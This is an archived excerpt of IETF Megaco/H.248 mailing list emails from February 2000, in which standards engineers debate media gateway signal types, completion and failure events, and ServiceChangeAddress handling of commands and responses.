          (LISTSERV-TCP/IP release 1.8d) with spool id 25228 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 15:06:35 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.6CF89EA0@standards.nortelnetworks.com>; Fri, 4 Feb 2000
          15:06:34 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Fri, 4 Feb 2000 20:05:36 +0000
Received: from zmers013 by smtprch1.nortel.com; Fri, 4 Feb 2000 14:05:24 -0600
Received: from zrchb213.us.nortel.com by zmers013; Fri, 4 Feb 2000 15:05:08
          -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1F2TLG3T>; Fri, 4 Feb 2000 14:05:05 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F4B.1FC5FC84"
Message-ID:  
Date:         Fri, 4 Feb 2000 14:05:04 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Cisco SG16: Signals Operation
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F4B.1FC5FC84
Content-Type: text/plain;
        charset="iso-8859-1"

Digging through the accumulated mass of indented text and comments, I think
I see two parties agreeing on the following points.  Unfortunately
experience tells me that as soon as we introduce a third party the
agreements will vanish, but I'll record them here just in case a miracle
happens.

1) BR signals have the following characteristics: duration is assumed to be
known to the MG without explicit MGC input.  Brian wants the ability to
override duration, and I have no quarrel with that -- the only question is
the exact mechanism.  The second characteristic is that a BR signal is not
terminated by the detection of an event.  (But BR signals are still
terminated by replacement of the Signals descriptor??  Any objections here?)

2) TO signals seem to be fairly well understood.

3) OO signals have the following characteristics: they remain on until
interrupted by detection of an event, or receipt of a Signals descriptor
with explicit Off syntax.  Brian's keyword syntax is probably acceptable.
Brian has a query about signal lists.  Is there something about this
proposal that doesn't work given our current signal list text?

4) Brian's proposals for completion events probably work for Chip and they
work for me.  To summarize: the current notifyCompletion parameter remains
but its significance changes: it is a selector (Boolean, default FALSE) and
does not actually arm reporting.  There is a signal completion event which
reports on the completion of any signal so flagged, with the identity of the
signal as a reporting parameter.  QUESTION: should KeepActive default to
TRUE for this event?  In any case, the signal completion event is invoked in
the usual way, through an events descriptor.

Open issue: signal failures.  The need for reports of such failures is real
-- they do happen from time to time.  They happen autonomously, which means
we either have to have an error method (ServiceChange ?) or an event to
report them.  The key issue is whether you would need to know about ANY
failure or only those of selected signals.


> -----Original Message-----
> From: Rosen, Brian [SMTP:brosen@FORE.COM]
> Sent: Friday, February 04, 2000 2:17 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: Cisco SG16: Signals Operation
>
> Comments below
>
> > -----Original Message-----
> > From: Chip Sharp [mailto:chsharp@cisco.com]
> > Sent: Friday, February 04, 2000 12:05 AM
> > To: MEGACO@standards.nortelnetworks.com
> > Subject: Re: Cisco SG16: Signals Operation
> >
> >
> > At 08:17 PM 2/2/00 -0500, Tom-PT Taylor wrote:
> > >
> > >
> > >I have every sympathy with your first point -- I couldn't resist the
> > >temptation to propose a new definition of BR.  The fact is,
> > the way things
> > >currently stand, we could abolish the signal type parameter
> > and it would
> > >make no difference to the operation of the protocol.  I
> > suppose we would
> > >have to define an "infinite" duration to simulate on/off as
> > currently
> > >defined, but even that might not be necessary.
> > >
> > >Speaking as chair, I suppose I have to say that the null
> > hypothesis is
> > >that we stick with our current text.  We have two other alternatives:
> > >
> > >(a) New distinctive definitions for BR, TO, OO, with the
> > understanding
> > >that the definition of a given signal indicates its default
> > type, but that
> > >type can always be overridden by the type parameter.
> > >
> > >  - BR duration is assumed to be known to the MG without
> > explicit MGC
> > > input.  BR signals can be stopped by detection of events
> > without the
> > > KeepActive parameter or by replacement of the current
> > signal descriptor
> > > with one not containing the indicated signal.
> > I would suggest they cannot be interrupted by events. If not, there's
> > little reason for having them as well as TO signals.
> It's okay with me
>
> > >
> > >
> > >  - TO duration is given explicitly by the duration
> > parameter.  A default
> > > may be provisioned or defined in the package.  TO signals
> > can be stopped
> > > by detection of events without the KeepActive parameter or
> > by replacement
> > > of the current signal descriptor with one not containing
> > the indicated signal.
> > >
> > >  - OO signals remain active until a signal descriptor with explicit
> > > turn-off syntax comes into effect (Chip's proposal).
> > Sounds good.
> What is the syntax?  Would a parameter do, or do we have to actually have
> a
> keyword?  Is there a default?  I propose that we
> have keywords. Signals{VMButton{ON}}
> this makes:
> sigParameter       = sigStream / sigSignalType / sigDuration /
>                 sigOnOFF / sigOther / NotifyCompletion
> (last element is in debate at the moment)
> sigOnOff           = OnToken / OffToken
>
> What happens with signal lists?
>
> > >
> > >
> > >(b) Abolish signal type.
> > >
> > >If I see a sudden rush to agreement on something other than
> > the existing
> > >text I'll feed it into Geneva.  Otherwise things stay put
> > and we can try
> > >again for H.248v2 -- the protocol works as is.
> > I doubt it. This is such a fundamental property of the
> > protocol that it is
> > highly unlikely you would be able it in v2, not least considering the
> > backwards compatibility restricion on package extensions. I
> > would suggest
> > doing it right the first time around.
> >
> > Issue update and additions follow below.
> > >
> > >
> > >Comments to the other points follow them.
> > >-----Original Message-----  From:  Chip Sharp
> > >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:59
> > >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
> >  Cisco SG16:
> > >Signals Operation
> >
> > Section:         7.1.1, second paragraph, last paragraph
> > Category:     Technical
> > Issue no.:     14.2
> > Issue:          The draft text specifies that "Finally, there is an
> > optional "notifyCompletion" that allows a MGC to request
> > being notified of
> > completion of the signal. The value of thi sparameter is a
> > RequestIdentifier, allowing the MGC to correlate the Notify with the
> > corresponding signal" and furthermore that "If the MGC requested
> > notification of completion for a signal, a Notify command
> > SHALL be sent by
> > the MG upon completion of that signal. A Notify triggered by
> > completion of
> > a signal SHALL NOT affect the state of the eventbuffer or any
> > active events
> > descriptor". There is already a mechanism in the protocol
> > that supports
> > this functionality, namely events. By using the event
> > mechanism instead,
> > the duplication of functionality is avoided, and event
> > ordering between
> > "events" and completed signals become trivial - currently they are an
> > unsolved issue. Furthermore, it is unclear how this behavior
> > interacts with
> > the EventBuffer mechanism. For example, if an event has been
> > notified,
> > "EventBuffer" is on, and the signal now completes, it seems
> > inconsistent to
> > issue another Notify specific to the signal.
> > Proposal:     It is strongly suggested, that
> > "notifyCompletion" is replaced
> > by having the completion of the signal generating an event
> > (e.g. "signal
> > complete") instead (notification of which may or may not have been
> > requested). Furthermore, to account for signal failure, there
> > should be a
> > "signal failure" event as well.
> > Status:
> I have argued this precise point, and believe that there should only
> be ONE way to get an event armed and triggered.  I agree that it
> should be an event.  I specifically proposed that a signal complete
> event be defined that has a parameter which is the list of signals
> that it applies to, but it occurs to me that a compromise is to
> leave the parameter in Signals Descriptor as being a "this is one
> of the signals that the signal complete event applies to", and then
> the signals complete event has no input parameter, but has an output
> parameter that specifies which signal completed.
>
> > >    Section:        7.1.10, fourth paragraph, first
> > > bullet.  Category:       Technical, Open Issue  Issue:
> >     The draft
> > > text defines on/off signals "the signal lasts until it is
> > turned off",
> > > however this definition is not clear. Specifically, it is
> > not  clear if
> > > an on/off signal is turned off by not being included in a
> > subsequent
> > > SignalsDescriptor or if it is turned off by some explicit
> > action. In the
> > > latter case, syntax is missing leading one to believe that
> > the former
> > > definition is intended. The former definition on the other hand  is
> > > somewhat problematic and overlaps the definition of time-out
> > > signals  with an indefinite duration. Consider for instance
> > a "visual
> > > message  waiting indicator" defined as an on/off signal. Unless the
> > > signal is  included in all subsequent SignalsDescritpors,
> > the indicator
> > > will be turned  off. The on/off signal type would be more
> > useful (and not
> > > a duplicate of  timeout) if this was not the case.  Also,
> > it should be
> > > noted, that the more general topic of signal types and  the
> > details of
> > > their operation has been the subject of much debate on the
> > IETF Megaco
> > > mailing list since the white contribution was developed,
> > and  that at
> > > time of writing, no resolution had been found.
> > >
> > >Proposal:       It is recommended that the definition of on/off is
> > >clarified in  accordance with the above and the missing syntax added.
> > >
> > >
> > >v13 Status:     OPEN. No substantial change has been made.
> >
> > v14: OPEN. No relevant text changed.
> > >
> > >
> > >Section:        7.1.10, fourth paragraph, second
> > >bullet  Category:       Technical  Issue:          The draft
> > text defines
> > >timeout signals as "the signal lasts until  it is turned off
> > or a specific
> > >period of time elapses", however there is no  mechanism
> > specified for
> > >informing the MGC when that specific period of time  has
> > elapsed and thus
> > >the signal has ended. The MGC may therefore be unable  to
> > determine if a
> > >given signal is playing in an MG or not. An example where
> > this is needed
> > >is outpulsing with MF Feature Group D trunks where multiple
> > digit strings
> > >(address and caller id) need to be outpulsed. MGC needs to
> > know when
> > >outpulsing of the first string of digits has occurred before
> >  requesting
> > >out-pulsing of the next string.). Another example is a
> > signal  activated
> > >through an external event such as user input (by use of an  embedded
> > >signals descriptor).
> > >
> > >Proposal:       It is strongly recommended that a mechanism
> > for notifying
> > >the MGC  upon timeout signal completion is added, e.g. in
> > the form of an
> > >event  ("operation complete"). Furthermore, it should be
> > considered to add
> > >another  event that would allow the MGC to be informed if
> > generation of
> > >the signal  fails for some reason (e.g. "operation
> > failure"). It should be
> > >noted, that  this may happen in the middle of the signals
> > defined duration.
> > >
> > >v13 Status:     OPEN. No substantial change has been made.
> > >
> > >[[TomT]]  v14 adds the notifyCompletion parameter for every
> > signal and
> > >text on how completions are notified in section 7.2.7.  For
> > failures we
> > >have that generic failure event in E.1, but no text on how
> > to apply it or
> > >what request ID to use for it.
> >
> > v14:    DISAGREE (see issue 14.2). A mechanism has been added.
> I'd say that the mechanism proposed, or the V14 mechanism does
> address the completion part.  The error part is V2; should it be
> an event, or just an error?  How should the error be reported?
>
>
> >
> > Section:         7.1.17
> > Category:     Technical
> > Issue no.:     14.3
> > Issue:          The draft text specifies that "If a Notify is
> > sent as a
> > result of a signal completion, the ObservedEventsDescriptor
> > contains the
> > name of the signal that completed and the time at which it
> > completed". Cf.
> > issue 14.2, this behavior is undesirable and should be
> > replaced with an
> > event instead thereby eliminating the need for specifying
> > this special case.
> > Proposal: Assuming the proposed resolution to issue 14.2 is
> > accepted, it is
> > proposed that the above sentence is deleted.
> > Status:
> Since I agree that the mechanism should be an event, I agree
> with this
>
> > Section:         7.2.8 (Notify), last three paragraphs
> > Category:     Technical
> > Issue no.:      14.5
> > Issue:          The draft text specifies that "..., or as a result of
> > completion of a signal for which the MGC requested notification of
> > completion", and "...or the triggering SignalsDescriptor", as
> > finally "A
> > Notify triggered by completion of a signal, contains the
> > corresponding
> > signal name in the ObservedEventsDescriptor". However, as
> > argued in issue
> > 14.2, this behavior is a special case that is inconsistent
> > with the general
> > event handling mechanism, incl. Notifications. If signal
> > completion was not
> > designed as a special case (which there is no reason to),
> > this special case
> > handling would not be necessary.
> > Proposal: Assuming the proposed solution to issue 14.2 is
> > accepted, it is
> > proposed to remove all of the above text segments.
> > Status:
> Ditto
>
> > >
> > >
> > >Section:                12.1.4  Category:       Technical, Open
> > >Issue  Issue:          The draft text mentions SignalType CN
> > (Continue),
> > >however this  SignalType is not defined in Section 7.1.10 on Signals
> > >Descriptor.  Also, it should be noted, that the more general
> > topic of
> > >signal types and  the details of their operation has been
> > the subject of
> > >much debate on the  IETF Megaco mailing list since the white
> > contribution
> > >was developed, and  that at time of writing, no resolution had been
> > >found.  Proposal:       It is proposed that SignalType CN is
> > removed from
> > >the text.
> > >
> > >v13 Status:     OPEN. No text changed.
> > >
> > >[[TomT]]  Done.
> > v14. CLOSED. SignalType CN has been removed.
> > >    Section:        12.1.4  Category:       Technical, Open
> > > Issue  Issue:          The draft text specifies that
> > "Signals that would
> > > be played with  SignalType BR should have a default
> > duration"  Again, it
> > > should be noted, that the more general topic of signal
> > types and  the
> > > details of their operation has been the subject of much debate on
> > > the  IETF Megaco mailing list since the white contribution
> > was developed,
> > > and  that at time of writing, no resolution had been
> > > found.  Proposal:       It is proposed that similar text is
> > added as for
> > > signals of  SignalType TO.
> > >
> > >v13 Status:     OPEN. No text changed.  [[TomT]]  See
> > initial comments to
> > >this message.
> > v14: OPEN. No text changed.
> > Support NetAid!  http://www.netaid.org
> > --------------------------------------------------
> > Chip Sharp                 Consulting Engineering
> > Cisco Systems              Telco Bio-region
> > Reality - Love it or Leave it.
> > --------------------------------------------------
> >

------_=_NextPart_001_01BF6F4B.1FC5FC84
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: Cisco SG16: Signals Operation




Digging through the =
accumulated mass of indented text and comments, I think I see two =
parties agreeing on the following points.  Unfortunately =
experience tells me that as soon as we introduce a third party the =
agreements will vanish, but I'll record them here just in case a =
miracle happens.



1) BR signals have =
the following characteristics: duration is assumed to be known to the =
MG without explicit MGC input.  Brian wants the ability to =
override duration, and I have no quarrel with that -- the only question =
is the exact mechanism.  The second characteristic is that a BR =
signal is not terminated by the detection of an event.  (But BR =
signals are still terminated by replacement of the Signals =
descriptor??  Any objections here?)



2) TO signals seem =
to be fairly well understood.




3) OO signals have =
the following characteristics: they remain on until interrupted by =
detection of an event, or receipt of a Signals descriptor with explicit =
Off syntax.  Brian's keyword syntax is probably acceptable.  =
Brian has a query about signal lists.  Is there something about =
this proposal that doesn't work given our current signal list =
text?



4) Brian's proposals =
for completion events probably work for Chip and they work for =
me.  To summarize: the current notifyCompletion parameter remains =
but its significance changes: it is a selector (Boolean, default FALSE) =
and does not actually arm reporting.  There is a signal completion =
event which reports on the completion of any signal so flagged, with =
the identity of the signal as a reporting parameter.  QUESTION: =
should KeepActive default to TRUE for this event?  In any case, =
the signal completion event is invoked in the usual way, through an =
events descriptor.



Open issue: signal =
failures.  The need for reports of such failures is real -- they =
do happen from time to time.  They happen autonomously, which =
means we either have to have an error method (ServiceChange ?) or an =
event to report them.  The key issue is whether you would need to =
know about ANY failure or only those of selected signals.




    

    -----Original Message-----

    From:   Rosen, Brian [SMTP:brosen@FORE.COM]

    Sent:   Friday, February 04, 2000 2:17 PM

    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 Re: Cisco SG16: Signals =
Operation

    


    Comments below

    


    > -----Original Message-----

    > From: Chip Sharp =
[mailto:chsharp@cisco.com]

    > Sent: Friday, February 04, 2000 =
12:05 AM

    > To: =
MEGACO@standards.nortelnetworks.com

    > Subject: Re: Cisco SG16: Signals =
Operation

    >

    >

    > At 08:17 PM 2/2/00 -0500, Tom-PT =
Taylor wrote:

    > >

    > >

    > >I have every sympathy with =
your first point -- I couldn't resist the

    > >temptation to propose a new =
definition of BR.  The fact is,

    > the way things

    > >currently stand, we could =
abolish the signal type parameter

    > and it would

    > >make no difference to the =
operation of the protocol.  I

    > suppose we would

    > >have to define an =
"infinite" duration to simulate on/off as

    > currently

    > >defined, but even that might =
not be necessary.

    > >

    > >Speaking as chair, I suppose =
I have to say that the null

    > hypothesis is

    > >that we stick with our =
current text.  We have two other alternatives:

    > >

    > >(a) New distinctive =
definitions for BR, TO, OO, with the

    > understanding

    > >that the definition of a =
given signal indicates its default

    > type, but that

    > >type can always be =
overridden by the type parameter.

    > >

    > >  - BR duration is =
assumed to be known to the MG without

    > explicit MGC

    > > input.  BR signals can =
be stopped by detection of events

    > without the

    > > KeepActive parameter or by =
replacement of the current

    > signal descriptor

    > > with one not containing the =
indicated signal.

    > I would suggest they cannot be =
interrupted by events. If not, there's

    > little reason for having them as =
well as TO signals.

    It's okay with me

    


    > >

    > >

    > >  - TO duration is =
given explicitly by the duration

    > parameter.  A =
default

    > > may be provisioned or =
defined in the package.  TO signals

    > can be stopped

    > > by detection of events =
without the KeepActive parameter or

    > by replacement

    > > of the current signal =
descriptor with one not containing

    > the indicated signal.

    > >

    > >  - OO signals remain =
active until a signal descriptor with explicit

    > > turn-off syntax comes into =
effect (Chip's proposal).

    > Sounds good.

    What is the syntax?  Would a =
parameter do, or do we have to actually have a

    keyword?  Is there a =
default?  I propose that we

    have keywords. =
Signals{VMButton{ON}}

    this makes:

    sigParameter       =3D =
sigStream / sigSignalType / sigDuration /

             &nb=
sp;      sigOnOFF / sigOther / =
NotifyCompletion

    (last element is in debate at the =
moment)

    sigOnOff        &=
nbsp;  =3D OnToken / OffToken

    


    What happens with signal lists?

    


    > >

    > >

    > >(b) Abolish signal =
type.

    > >

    > >If I see a sudden rush to =
agreement on something other than

    > the existing

    > >text I'll feed it into =
Geneva.  Otherwise things stay put

    > and we can try

    > >again for H.248v2 -- the =
protocol works as is.

    > I doubt it. This is such a =
fundamental property of the

    > protocol that it is

    > highly unlikely you would be =
able it in v2, not least considering the

    > backwards compatibility =
restricion on package extensions. I

    > would suggest

    > doing it right the first time =
around.

    >

    > Issue update and additions =
follow below.

    > >

    > >

    > >Comments to the other points =
follow them.

    > >-----Original =
Message-----  From:  Chip Sharp

    > =
>[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, =
2000 7:59

    > >PM  =
To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  =
Subject:

    >  Cisco SG16:

    > >Signals Operation

    >

    > =
Section:         7.1.1, second =
paragraph, last paragraph

    > =
Category:     Technical

    > Issue =
no.:     14.2

    > =
Issue:          The draft =
text specifies that "Finally, there is an

    > optional =
"notifyCompletion" that allows a MGC to request

    > being notified of

    > completion of the signal. The =
value of thi sparameter is a

    > RequestIdentifier, allowing the =
MGC to correlate the Notify with the

    > corresponding signal" and =
furthermore that "If the MGC requested

    > notification of completion for a =
signal, a Notify command

    > SHALL be sent by

    > the MG upon completion of that =
signal. A Notify triggered by

    > completion of

    > a signal SHALL NOT affect the =
state of the eventbuffer or any

    > active events

    > descriptor". There is =
already a mechanism in the protocol

    > that supports

    > this functionality, namely =
events. By using the event

    > mechanism instead,

    > the duplication of functionality =
is avoided, and event

    > ordering between

    > "events" and completed =
signals become trivial - currently they are an

    > unsolved issue. Furthermore, it =
is unclear how this behavior

    > interacts with

    > the EventBuffer mechanism. For =
example, if an event has been

    > notified,

    > "EventBuffer" is on, =
and the signal now completes, it seems

    > inconsistent to

    > issue another Notify specific to =
the signal.

    > =
Proposal:     It is strongly suggested, that

    > "notifyCompletion" is =
replaced

    > by having the completion of the =
signal generating an event

    > (e.g. "signal

    > complete") instead =
(notification of which may or may not have been

    > requested). Furthermore, to =
account for signal failure, there

    > should be a

    > "signal failure" event =
as well.

    > Status:

    I have argued this precise point, and =
believe that there should only

    be ONE way to get an event armed and =
triggered.  I agree that it

    should be an event.  I =
specifically proposed that a signal complete

    event be defined that has a parameter =
which is the list of signals

    that it applies to, but it occurs to =
me that a compromise is to

    leave the parameter in Signals =
Descriptor as being a "this is one

    of the signals that the signal =
complete event applies to", and then

    the signals complete event has no =
input parameter, but has an output

    parameter that specifies which signal =
completed.

    


    > >    =
Section:        7.1.10, fourth =
paragraph, first

    > > bullet.  =
Category:       Technical, Open =
Issue  Issue:

    >     The =
draft

    > > text defines on/off signals =
"the signal lasts until it is

    > turned off",

    > > however this definition is =
not clear. Specifically, it is

    > not  clear if

    > > an on/off signal is turned =
off by not being included in a

    > subsequent

    > > SignalsDescriptor or if it =
is turned off by some explicit

    > action. In the

    > > latter case, syntax is =
missing leading one to believe that

    > the former

    > > definition is intended. The =
former definition on the other hand  is

    > > somewhat problematic and =
overlaps the definition of time-out

    > > signals  with an =
indefinite duration. Consider for instance

    > a "visual

    > > message  waiting =
indicator" defined as an on/off signal. Unless the

    > > signal is  included in =
all subsequent SignalsDescritpors,

    > the indicator

    > > will be turned  off. =
The on/off signal type would be more

    > useful (and not

    > > a duplicate of  =
timeout) if this was not the case.  Also,

    > it should be

    > > noted, that the more =
general topic of signal types and  the

    > details of

    > > their operation has been =
the subject of much debate on the

    > IETF Megaco

    > > mailing list since the =
white contribution was developed,

    > and  that at

    > > time of writing, no =
resolution had been found.

    > >

    > =
>Proposal:       It is recommended =
that the definition of on/off is

    > >clarified in  =
accordance with the above and the missing syntax added.

    > >

    > >

    > >v13 =
Status:     OPEN. No substantial change has been =
made.

    >

    > v14: OPEN. No relevant text =
changed.

    > >

    > >

    > =
>Section:        7.1.10, fourth =
paragraph, second

    > >bullet  =
Category:       Technical  =
Issue:          The =
draft

    > text defines

    > >timeout signals as "the =
signal lasts until  it is turned off

    > or a specific

    > >period of time =
elapses", however there is no  mechanism

    > specified for

    > >informing the MGC when that =
specific period of time  has

    > elapsed and thus

    > >the signal has ended. The =
MGC may therefore be unable  to

    > determine if a

    > >given signal is playing in =
an MG or not. An example where

    > this is needed

    > >is outpulsing with MF =
Feature Group D trunks where multiple

    > digit strings

    > >(address and caller id) need =
to be outpulsed. MGC needs to

    > know when

    > >outpulsing of the first =
string of digits has occurred before

    >  requesting

    > >out-pulsing of the next =
string.). Another example is a

    > signal  activated

    > >through an external event =
such as user input (by use of an  embedded

    > >signals descriptor).

    > >

    > =
>Proposal:       It is strongly =
recommended that a mechanism

    > for notifying

    > >the MGC  upon timeout =
signal completion is added, e.g. in

    > the form of an

    > >event  ("operation =
complete"). Furthermore, it should be

    > considered to add

    > >another  event that =
would allow the MGC to be informed if

    > generation of

    > >the signal  fails for =
some reason (e.g. "operation

    > failure"). It should =
be

    > >noted, that  this may =
happen in the middle of the signals

    > defined duration.

    > >

    > >v13 =
Status:     OPEN. No substantial change has been =
made.

    > >

    > >[[TomT]]  v14 adds the =
notifyCompletion parameter for every

    > signal and

    > >text on how completions are =
notified in section 7.2.7.  For

    > failures we

    > >have that generic failure =
event in E.1, but no text on how

    > to apply it or

    > >what request ID to use for =
it.

    >

    > v14:    DISAGREE =
(see issue 14.2). A mechanism has been added.

    I'd say that the mechanism proposed, =
or the V14 mechanism does

    address the completion part.  =
The error part is V2; should it be

    an event, or just an error?  How =
should the error be reported?

    

    


    >

    > =
Section:         7.1.17

    > =
Category:     Technical

    > Issue =
no.:     14.3

    > =
Issue:          The draft =
text specifies that "If a Notify is

    > sent as a

    > result of a signal completion, =
the ObservedEventsDescriptor

    > contains the

    > name of the signal that =
completed and the time at which it

    > completed". Cf.

    > issue 14.2, this behavior is =
undesirable and should be

    > replaced with an

    > event instead thereby =
eliminating the need for specifying

    > this special case.

    > Proposal: Assuming the proposed =
resolution to issue 14.2 is

    > accepted, it is

    > proposed that the above sentence =
is deleted.

    > Status:

    Since I agree that the mechanism =
should be an event, I agree

    with this

    


    > =
Section:         7.2.8 =
(Notify), last three paragraphs

    > =
Category:     Technical

    > Issue =
no.:      14.5

    > =
Issue:          The draft =
text specifies that "..., or as a result of

    > completion of a signal for which =
the MGC requested notification of

    > completion", and =
"...or the triggering SignalsDescriptor", as

    > finally "A

    > Notify triggered by completion =
of a signal, contains the

    > corresponding

    > signal name in the =
ObservedEventsDescriptor". However, as

    > argued in issue

    > 14.2, this behavior is a special =
case that is inconsistent

    > with the general

    > event handling mechanism, incl. =
Notifications. If signal

    > completion was not

    > designed as a special case =
(which there is no reason to),

    > this special case

    > handling would not be =
necessary.

    > Proposal: Assuming the proposed =
solution to issue 14.2 is

    > accepted, it is

    > proposed to remove all of the =
above text segments.

    > Status:

    Ditto

    


    > >

    > >

    > =
>Section:          =
      12.1.4  =
Category:       Technical, Open

    > >Issue  =
Issue:          The draft =
text mentions SignalType CN

    > (Continue),

    > >however this  =
SignalType is not defined in Section 7.1.10 on Signals

    > >Descriptor.  Also, it =
should be noted, that the more general

    > topic of

    > >signal types and  the =
details of their operation has been

    > the subject of

    > >much debate on the  =
IETF Megaco mailing list since the white

    > contribution

    > >was developed, and  =
that at time of writing, no resolution had been

    > >found.  =
Proposal:       It is proposed that =
SignalType CN is

    > removed from

    > >the text.

    > >

    > >v13 =
Status:     OPEN. No text changed.

    > >

    > >[[TomT]]  Done.

    > v14. CLOSED. SignalType CN has =
been removed.

    > >    =
Section:        12.1.4  =
Category:       Technical, Open

    > > Issue  =
Issue:          The draft =
text specifies that

    > "Signals that would

    > > be played with  =
SignalType BR should have a default

    > duration"  Again, =
it

    > > should be noted, that the =
more general topic of signal

    > types and  the

    > > details of their operation =
has been the subject of much debate on

    > > the  IETF Megaco =
mailing list since the white contribution

    > was developed,

    > > and  that at time of =
writing, no resolution had been

    > > found.  =
Proposal:       It is proposed that =
similar text is

    > added as for

    > > signals of  SignalType =
TO.

    > >

    > >v13 =
Status:     OPEN. No text changed.  =
[[TomT]]  See

    > initial comments to

    > >this message.

    > v14: OPEN. No text =
changed.

    > Support NetAid!  =
http://www.netaid.org

    > =
--------------------------------------------------

    > Chip =
Sharp           &=
nbsp;     Consulting Engineering

    > Cisco =
Systems           =
;   Telco Bio-region

    > Reality - Love it or Leave =
it.

    > =
--------------------------------------------------

    >

    




------_=_NextPart_001_01BF6F4B.1FC5FC84--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 15:27:36 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09405
	for ; Fri, 4 Feb 2000 15:27:36 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.F43B03B0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:24:40 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25289 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 15:22:50 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.B2C49770@standards.nortelnetworks.com>; Fri, 4 Feb 2000
          15:22:50 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Fri, 4 Feb 2000 20:24:42 +0000
Received: from zmers013 by smtprch1.nortel.com; Fri, 4 Feb 2000 14:24:16 -0600
Received: from zrchb213.us.nortel.com by zmers013; Fri, 4 Feb 2000 15:24:04
          -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1F2TLHDY>; Fri, 4 Feb 2000 14:24:01 -0600
X-Mailer: Internet Mail Service (5.5.2448.0)
Message-ID:  
Date:         Fri, 4 Feb 2000 14:23:59 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Cisco SG16: Service Change
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Proposal: if and only if the MG supplies a ServiceChangeAddress, it wants
all commands directed to that address.  The MGC would continue to send
responses back to the address the requests came from, even if this requires
sending transaction requests in separate messages from transaction replies
and transaction pending messages.

It's not symmetric: if the MGC supplies a ServiceChangeAddress, the whole
association moves over to that address.

> -----Original Message-----
> From: Rosen, Brian [SMTP:brosen@fore.com]
> Sent: Friday, February 04, 2000 11:48 AM
> To:   Taylor, Tom-PT [CAR:B904:EXCH]; megaco@standards.nortelnetworks.com
> Subject:      RE: Cisco SG16: Service Change
>
> Excuse me, messages don't matter, transactions do.  A message with one
> request transaction and one response transaction can, and most probably
> will, result in a different
> structure in outgoing messages.  It would not be a big burden to have
> responses going
> to a different place than transactions, although it might increase the
> number of
> messages.
>
> Brian
>
>       -----Original Message-----
>       From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
>       Sent: Friday, February 04, 2000 11:31 AM
>       To: Rosen, Brian; megaco@standards.nortelnetworks.com
>       Subject: RE: Cisco SG16: Service Change
>
>
>
>       Glitch warning -- indicated change won't work.  Our messages can
> include both requests and responses, so the address to which messages are
> sent is an all or nothing decision.  I'll try to make things consistent
> with section 9.  Simplest way is by saying that ServiceChangeAddress
> should not be sent by an MG when transport is over IP.
>
>               -----Original Message-----
>       From:   Rosen, Brian [SMTP:brosen@FORE.COM]
>       Sent:   Friday, February 04, 2000 9:22 AM
>       [[TomT]]  snip
>       >
>       > Section:         7.2.8 (ServiceChange), fifth last paragraph
>       > Category:     Technical, Editorial
>       > Issue no.:     14.8
>       > Issue:          The draft text specifies that "The MGC shall use
> this
>       > Addres, if specified, in its response to the ServiceChange
>       > command and any
>       > subequent commands and responses" and "The MG shall use this
>       > address for
>       > any subsequent communication with the MGC". While it makes
>       > sense to require
>       > commands to be sent to this address, it is generally not a
>       > good idea to
>       > require this for responses, e.g. for clustered systems.
> Furthermore,
>       > Section 9 (Transport) also specifies that "Responses to
>       > commands are sent
>       > back to the source address of the commands"
>       > Proposal:     It is strongly recommended, that commands will
>       > be sent to the
>       > address specified while responses will always be sent to the
>       > source address
>       > they came from.
>       > Status:
>       I agree with this.  The text is inconsistant, so something needs
>       to be changed.  Chip's proposal seems the most reasonable way
>       to resolve it
>
>
>               [[TomT]]  snip
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 15:33:18 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09604
	for ; Fri, 4 Feb 2000 15:33:18 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.CC3B7E20@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:30:42 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25282 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 15:29:21 -0500
